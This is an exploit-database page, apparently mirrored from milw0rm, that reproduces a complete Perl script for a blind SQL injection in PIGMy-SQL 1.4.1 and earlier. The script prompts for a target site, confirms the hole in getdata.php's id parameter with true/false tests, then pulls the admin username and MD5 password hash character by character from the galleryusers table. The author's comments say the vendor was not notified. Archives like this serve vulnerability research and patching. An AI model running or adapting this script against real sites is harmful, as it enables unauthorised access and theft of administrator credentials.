Lucene search
K

PIGMy-SQL <= 1.4.1 (getdata.php id) Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

PIGMy-SQL <= 1.4.1 Blind SQL Injection Exploi

Code

                                                #!/usr/bin/perl

# - PIGMy-SQL &#60;= 1.4.1 Blind SQL Injection Exploit -
# PIGMy-SQL is vulnerable because the mysql querys are insecure, therefor it allows an attack to execute sql querys, since the..
#	..vulnerable page only returns a picture we have to use a blind sql script, heres a little one i coded below, it will be alot faster using things like sqlmap etc. but this does the job
#
# Discovered And Coded By: t0pP8uZz
# Discovered On: April 4 2008
# Vendor has not been notifed!
# Admin login is at /admin/
# passwords are encrypted in MD5
# END OF

use strict;
use LWP::Simple;

print &#34;--------------------------------------------------\n&#34;;
print &#34;- PIGMy-SQL &#60;= 1.4.1 Blind SQL Injection Exploit -\n&#34;;
print &#34;-         Coded And Discovered By t0pP8uZz       -\n&#34;;
print &#34;-                                                -\n&#34;;
print &#34;- This exploit will obtain the admin user/pass.. -\n&#34;;
print &#34;-        ..Using a blind sql injection attack    -\n&#34;;
print &#34;--------------------------------------------------\n&#34;;

print &#34;\nTarget Site: &#34;;
	chomp(my $url=&#60;STDIN&#62;);
	
print &#34;Valid Photo ID: &#34;;
	chomp(my $pid=&#60;STDIN&#62;);

if(inject_test($url, $pid)) {

	print &#34;\nInjecting Please Wait.. This could take several minutes.\n&#34;;
	my $result = blindattack($url, $pid);
	print &#34;Exploited! Admin Details Are: &#34;.$result;
	exit;
}

sub blindattack {

	my $url    = shift;
	my $pid    = shift;
	my $done   = 0;
	my $substr = 1;
	my $chr    = 48;
	my $res    = undef;
	
	while($done == 0) {
		my $content = get($url.&#34;/getdata.php?id=&#34;.$pid.&#34; and ascii(substring((select concat(name,0x3a,pass,0x5E) FROM galleryusers),&#34;.$substr.&#34;,1))=&#34;.$chr.&#34;/*&#34;);
		
		if($content =~ /#/ && $chr == 94) { $done = 1; }
			elsif($content =~ /#/) { $res .= chr($chr); $substr++; $chr = 48; }
				else { $chr++; }
	}
	return $res;
}

sub inject_test {

	my $url = shift;
	my $pid = shift;
	
	my $true  = get($url.&#34;/getdata.php?id=&#34;.$pid.&#34; and 1=1&#34;);
	my $false = get($url.&#34;/getdata.php?id=&#34;.$pid.&#34; and 1=2&#34;);
	
	if($true =~ /#/ && $false !~ /#/) { 
		print &#34;\nTarget Vulnerable!&#34;;
		return 1;
	}
	else {
		print &#34;Target not vulnerable! die&#39;ing!&#34;;
		exit;
	}
}

# milw0rm.com [2008-04-04]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation